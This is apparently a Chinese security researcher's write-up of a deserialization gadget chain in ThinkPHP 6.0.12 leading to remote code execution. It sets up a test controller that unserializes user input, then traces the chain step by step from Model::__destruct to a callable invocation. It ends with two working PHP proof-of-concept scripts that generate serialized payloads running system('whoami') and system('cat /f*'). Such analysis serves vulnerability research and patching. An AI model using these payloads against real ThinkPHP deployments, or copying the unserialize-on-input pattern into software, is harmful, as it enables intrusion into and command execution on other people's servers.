作者 | 修订时间 |
---|---|
2024-02-23 10:08:42 |
Thinkphp6.0.12
php 7.4.0
composer create-project topthink/think=6.0.12 tp6
测试代码
- 在项目目录下创建一个测试控制器
php think make:controller Test
- 在Test控制器 index方法中添加
public function index()
{
if ($a=input('param.a')){
var_dump(base64_decode($a));
echo "<br>";
unserialize(base64_decode($a));
}
}
漏洞分析
1.在大佬的文章总结中, 反序列化 一般起点出现在__desturct 和 __wakeup 通过全局搜索 查询满足条件的 在:vendor\topthink\think-orm\src\Model.php
(大佬怎么说我怎么写)
第一个条件 要把
$this->lazySave
设置为True跟进
$this->save()
,$this->isEmpty()
只要保证data 不为空就行$this->trigger('BeforeWrite'))
默认返回为真
public function isEmpty(): bool
{
return empty($this->data);
}
- 将
$this->exists
设置为True,跟进$this -> updateData()
- 在 621列
$allowFields = $this->checkAllowFields()
跟进
- 继续跟进 565列
$query = $this->db();
- 在362行将
$this->table . $this->suffix
拼接在一起,将$this->table 设置为一个对象 触发 __toString
- 全局查找__toString 最后在
vendor\topthink\think-orm\src\model\concern\Conversion.php
中找到__toString()(以前版本也是在这里出现漏洞的,反正很好找到)这里是一个代码复用的机制所以不用将$this->table
设置成特定类, 刚好Model抽象类也有用到use model\concern\Conversion
所以这里直接实例化本身就行
- 继续跟进
$this->toArray()
,将$this->data
设置为数据即可进入循环, 在238 中跟进$key
是$data
的键名
- 跟进
$this->getAttr($key)
$name
可控不提
$value
为 $this->getData($name)
返回值 ,跟进一下
$fieldName
跟进一下
$fieldName
可控, 返回的是 $this->data[$fieldName]
很明显这个$value
就是 $this->data
的值,
- 继续跟进
$this->getValue($name, $value, $relation);
第 509 行 ,$fieldName
为 $this->data
键名 ,将this->json
设置成 $this->data
的键名,$this->withAttr[$fieldName]
设置成 数组就行
- 跟进
$this->getJsonValue($fieldName, $value)
,保证$this->jsonAssoc
为真即可,将$this->withAttr
的 值设置成你需要执行的函数,而$this->data
的值设置为 需要执行的代码即可
POC
<?php
namespace think{
abstract class Model{
private $lazySave;
private $data;
protected $table;
private $withAttr;
protected $json ;
protected $jsonAssoc;
private $exists;
public function __construct($obj = '')
{
$this->lazySave = True;
$this->exists = True;
$this->data = ['arr' =>['whoami']];
$this->table = $obj;
$this->withAttr = ['arr'=>['system']];
$this->json = ['arr'];
$this->jsonAssoc = True;
}
}
}
namespace think\Model{
use think\Model;
class Pivot extends Model{
}
}
namespace {
$a = new think\model\Pivot();
$b = new think\model\Pivot($a);
echo base64_encode(serialize($b));
}
结果
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key" => ["key1" => "cat /f*"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));